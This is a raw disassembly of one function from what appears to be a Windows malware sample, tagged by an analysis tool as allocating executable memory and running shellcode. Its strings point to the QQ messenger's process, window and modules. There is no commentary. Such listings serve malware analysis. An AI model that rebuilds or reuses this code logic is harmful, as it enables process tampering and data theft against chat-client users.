Function at 0x4011c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.00406ffb
add esp, 4
mov dword [ebp - 0xc], eax
mov edi, eax
mov esi, 0x428335
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
push 8
call fcn.00406ffb
add esp, 4
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, 0x428335
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push 8
call fcn.00406ffb
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x428335
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
push 0x2c
call fcn.00406ffb
add esp, 4
mov dword [ebp - 0x28], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0xb
rep stosd dword es:[edi], eax
mov dword [ebp - 0x2c], 0
push 8
call fcn.00406ffb
add esp, 4
mov dword [ebp - 0x30], eax
mov edi, eax
mov esi, 0x428335
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
push 8
call fcn.00406ffb
add esp, 4
mov dword [ebp - 0x3c], eax
mov edi, eax
mov esi, 0x428335
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
push 0
mov ebx, 0x108
call fcn.00407480
add esp, 4
mov dword [ebp - 0x48], eax
push str.server.exe
push dword [ebp - 0x48]
call fcn.00401000
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x401301
push ebx
call fcn.00406ff5
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x401494
push 0x80000301
push 0
push 9
push 1
mov ebx, 0x1c
mov eax, 0x410000
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], eax
push str.QQProtect.exe
push dword [ebp - 0x48]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x401359
push ebx
call fcn.00406ff5
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40136d
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0
mov ebx, 0x104
call fcn.00407520
add esp, 4
mov dword [ebp - 0x48], eax
push 0
mov ebx, 0x108
call fcn.00407480
add esp, 4
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
push 0x4282e9
push dword [ebp - 0x48]
mov ecx, 3
call fcn.00401108
add esp, 0xc
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4013c6
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4013d6
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x4013e9
mov eax, 0x4282eb
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x4013fd
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x23c
call fcn.004075c0
add esp, 0x1c
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x401420
push ebx
call fcn.00406ff5
add esp, 4
push 0
push 0
push 0
push 0x80000002
push 0
push 0
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401445
mov eax, 0x4282eb
push eax
push 3
mov ebx, 0x2c0
call fcn.004075e0
add esp, 0x28
push 0x80000301
push 0
push 6
push 0x80000004
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401477
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x260
call fcn.004076d0
add esp, 0x1c
push 0
call fcn.00406fe3
add esp, 4
push 0
push 0
push 0
push 0x80000004
push 0
push str.SOFTWAREMicrosoftmstxdate
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x698
call fcn.004076f0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4014db
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [ebp - 8], eax
push 0x4282eb
push dword [ebp - 8]
call fcn.00401000
add esp, 8
cmp eax, 0
je 0x4014fd
call fcn.00403bf6
push 0x80000005
push 0
push 0x428309
push 1
mov ebx, 4
mov eax, 0x40afb0
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x401536
mov eax, 0x428335
push eax
push 1
mov ebx, 0x168
call fcn.00407900
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x40155c
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.21272120212829212729B44366328
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.00403dc8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x401584
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x401594
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0xc]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x5c], ebx
call fcn.00401164
mov dword [ebp - 0x60], ecx
mov edi, dword [ebp - 0x5c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x4015d7
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x60]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x5c]
call fcn.00407013
add esp, 8
mov dword [ebp - 0xc], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x60]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x58]
push edi
test eax, eax
je 0x40161a
push eax
mov ebx, eax
call fcn.0040109d
inc eax
push eax
call fcn.00406ffb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x40162d
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000005
push 0
push 0x428309
push 1
mov ebx, 4
mov eax, 0x40afb0
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x401666
mov eax, 0x428335
push eax
push 1
mov ebx, 0x168
call fcn.00407900
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x40168c
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.22252820242325202128B44366328
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.00403dc8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4016b4
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4016c4
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0xc]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x5c], ebx
call fcn.00401164
mov dword [ebp - 0x60], ecx
mov edi, dword [ebp - 0x5c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401707
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x60]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x5c]
call fcn.00407013
add esp, 8
mov dword [ebp - 0xc], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x60]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x58]
push edi
test eax, eax
je 0x40174a
push eax
mov ebx, eax
call fcn.0040109d
inc eax
push eax
call fcn.00406ffb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x40175d
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000005
push 0
push 0x428309
push 1
mov ebx, 4
mov eax, 0x40afb0
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x401796
mov eax, 0x428335
push eax
push 1
mov ebx, 0x168
call fcn.00407900
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4017bc
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.23222928282024202028B44366328
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.00403dc8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4017e4
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4017f4
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0xc]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x5c], ebx
call fcn.00401164
mov dword [ebp - 0x60], ecx
mov edi, dword [ebp - 0x5c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401837
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x60]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x5c]
call fcn.00407013
add esp, 8
mov dword [ebp - 0xc], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x60]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x58]
push edi
test eax, eax
je 0x40187a
push eax
mov ebx, eax
call fcn.0040109d
inc eax
push eax
call fcn.00406ffb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x40188d
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000005
push 0
push 0x428309
push 1
mov ebx, 4
mov eax, 0x40afb0
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x4018c6
mov eax, 0x428335
push eax
push 1
mov ebx, 0x168
call fcn.00407900
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4018ec
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.21252422222021B44366328
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.00403dc8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x401914
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x401924
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0xc]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x5c], ebx
call fcn.00401164
mov dword [ebp - 0x60], ecx
mov edi, dword [ebp - 0x5c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401967
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x60]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x5c]
call fcn.00407013
add esp, 8
mov dword [ebp - 0xc], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x60]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x58]
push edi
test eax, eax
je 0x4019aa
push eax
mov ebx, eax
call fcn.0040109d
inc eax
push eax
call fcn.00406ffb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x4019bd
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000005
push 0
push 0x428309
push 1
mov ebx, 4
mov eax, 0x40afb0
call fcn.004073e0
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x80000005
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x4019f6
mov eax, 0x428335
push eax
push 1
mov ebx, 0x168
call fcn.00407900
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x401a1c
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0x4c]
push eax
mov eax, str.252022262620292120B44366328
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.00403dc8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x401a44
push ebx
call fcn.00406ff5
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x401a54
push ebx
call fcn.00406ff5
add esp, 4
lea eax, [ebp - 0xc]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x5c], ebx
call fcn.00401164
mov dword [ebp - 0x60], ecx
mov edi, dword [ebp - 0x5c]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401a97
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x60]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x5c]
call fcn.00407013
add esp, 8
mov dword [ebp - 0xc], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x60]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x58]
push edi
test eax, eax
je 0x401ada
push eax
mov ebx, eax
call fcn.0040109d
inc eax
push eax
call fcn.00406ffb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x401aed
push ebx
call fcn.00406ff5
add esp, 4
mov dword [ebp - 0x48], esp
push 0
push 0
push 0
push 0
call dword [0x42a165]
nop
nop
nop
nop
cmp dword [ebp - 0x48], esp
je 0x401b20
push 6
call fcn.00407001
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401d6d
push 0x80000301
push 0
push 0xff
push 1
mov ebx, 0x184
call fcn.00407bd0
add esp, 0x10
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401b62
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], esp
push 0xff
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [0x42a169]
nop
nop
nop
nop
cmp dword [ebp - 0x48], esp
je 0x401b90
push 6
call fcn.00407001
add esp, 4
push 0x80000002
push 0
push 0
push 0
push 0
push 0
push 0x80000004
push 0
push str.qqexchangewnd
push 0x80000004
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x401bc1
mov eax, 0x4282eb
push eax
push 4
mov ebx, 0x148
call fcn.00407c10
add esp, 0x34
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffff
je 0x401d34
push 0x80000301
push 0
push 0xa
push 0x80000301
push 0
push 0x1f
push 0x80000004
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x401c0c
mov eax, 0x4282eb
push eax
push 3
mov ebx, 0x13c
call fcn.00407ce0
add esp, 0x28
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x18]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x50], ebx
call fcn.00401164
mov dword [ebp - 0x54], ecx
mov edi, dword [ebp - 0x50]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401c65
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x54]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x50]
call fcn.00407013
add esp, 8
mov dword [ebp - 0x18], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x54]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x4c]
push edi
test eax, eax
je 0x401ca8
push eax
mov ebx, eax
call fcn.0040109d
inc eax
push eax
call fcn.00406ffb
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
mov dword [edi], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x401cbb
push ebx
call fcn.00406ff5
add esp, 4
push dword [ebp - 0x10]
call fcn.00404cf6
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x1c]
push eax
push 4
mov eax, 2
call fcn.00407360
add esp, 8
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x50], ebx
call fcn.00401164
mov dword [ebp - 0x54], ecx
mov edi, dword [ebp - 0x50]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x401d09
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x54]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x50]
call fcn.00407013
add esp, 8
mov dword [ebp - 0x1c], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x54]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x4c]
mov dword [edi], eax
mov dword [ebp - 0x48], esp
push 0
push 0
push dword [ebp - 0x10]
push 0
call dword [0x42a165]
nop
nop
nop
nop
cmp dword [ebp - 0x48], esp
je 0x401d65
push 6
call fcn.00407001
add esp, 4
mov dword [ebp - 0x10], eax
jmp 0x401b23
mov ebx, dword [ebp - 0x1c]
call fcn.00401184
xor ecx, ecx
push eax
lea eax, [ebp - 0x20]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40399e
mov ebx, dword [ebp - 0x1c]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x20]
dec eax
jns 0x401da9
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x401dbc
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x48]
mov eax, dword [ebx]
mov dword [0x42a12d], eax
push dword [0x42a12d]
call fcn.00404d3a
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x401df0
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push 0x20005
push 0
push dword [ebp - 0x28]
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x401e11
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x40
mov eax, 0x40a120
call fcn.004073e0
add esp, 0x1c
push 0x80000002
push 0
push 1
push 0
push 0
push 0
push 0x80000004
push 0
push 0x4282e9
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x401e5a
mov eax, 0x4282eb
push eax
push 4
mov ebx, 0x14c
call fcn.00407d50
add esp, 0x34
mov dword [ebp - 0x50], eax
fild dword [ebp - 0x50]
fstp qword [ebp - 0x50]
fld qword [ebp - 0x50]
fsub qword [0x4283d9]
fstp qword [ebp - 0x58]
fld qword [ebp - 0x58]
call fcn.0040119d
push 0x80000301
push 0
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x401ea5
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x134
call fcn.00407e00
add esp, 0x1c
mov dword [ebp - 0x5c], eax
push 0x4283e1
push dword [ebp - 0x5c]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x401ee3
push ebx
call fcn.00406ff5
add esp, 4
mov eax, dword [ebp - 0x60]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x401ef7
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
push 0x4283fc
push dword [ebp - 0x2c]
mov ecx, 2
call fcn.00401108
add esp, 8
mov dword [ebp - 0x48], eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x401f26
mov eax, 0x4282eb
push eax
push 0x80000004
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x401f3a
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x248
call fcn.00407e60
add esp, 0x1c
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x401f5d
push ebx
call fcn.00406ff5
add esp, 4
push 0x80000005
push 0
push 0x4283fe
push 0x80000004
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x401f7c
mov eax, 0x4282eb
push eax
push 2
mov ebx, 0x26c
call fcn.00407e80
add esp, 0x1c
push 1
lea eax, [ebp - 0x30]
push eax
push 1
push dword [0x42a12d]
call fcn.00405084
xor ecx, ecx
push eax
lea eax, [ebp - 0x34]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4022a9
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x401fd6
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x401fe9
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x48], ebx
push str.TaskTray.dll
mov ebx, dword [ebp - 0x48]
push dword [ebx]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x4020b1
mov ebx, dword [0x42a131]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x402037
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40204a
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
mov ebx, dword [0x42a131]
add ebx, 0xc
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x402087
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40209a
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x4020ce
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4020e1
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x48], ebx
push str.GF.dll
mov ebx, dword [ebp - 0x48]
push dword [ebx]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x4021a9
mov ebx, dword [0x42a135]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x40212f
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402142
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
mov ebx, dword [0x42a135]
add ebx, 0xc
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x40217f
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x402192
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x4021c6
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4021d9
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x48], ebx
push str.AppMisc.dll
mov ebx, dword [ebp - 0x48]
push dword [ebx]
call fcn.00401000
add esp, 8
cmp eax, 0
jne 0x4022a1
mov ebx, dword [0x42a139]
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x402227
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40223a
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
mov ebx, dword [0x42a139]
add ebx, 0xc
mov dword [ebp - 0x48], ebx
mov ebx, dword [ebp - 0x30]
call fcn.00401164
push ebx
push ecx
mov eax, dword [ebp - 0x34]
dec eax
jns 0x402277
push 4
call fcn.00407001
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x40228a
push 1
call fcn.00407001
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x48]
mov dword [ebx], eax
pop eax
pop ebx
pop ecx
jmp 0x401fab
add esp, 0xc
push 1
push dword [0x42a12d]
call fcn.004057a0
mov dword [ebp - 0x38], eax
mov ebx, dword [0x42a131]
add ebx, 0xc
mov dword [ebp - 0x48], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push 1
mov ebx, 0x1bc
call fcn.00407f20
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [0x42a13d]
test ebx, ebx
je 0x402300
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a13d], eax
mov ebx, dword [0x42a131]
mov dword [ebp - 0x48], ebx
mov ebx, dword [0x42a131]
add ebx, 0xc
mov dword [ebp - 0x4c], ebx
push 1
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
mov ebx, dword [ebp - 0x48]
push dword [ebx]
push dword [0x42a12d]
call fcn.0040580e
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [0x42a13d]
test ebx, ebx
je 0x40234c
push ebx
call fcn.00406ff5
add esp, 4
pop eax
mov dword [0x42a13d], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x48], eax
push 0x42a13d
call fcn.004059de
mov dword [ebp - 0x4c], eax
mov ebx, dword [0x42a131]
add ebx, 0xc
mov dword [ebp - 0x50], ebx
fild dword [ebp - 0x4c]
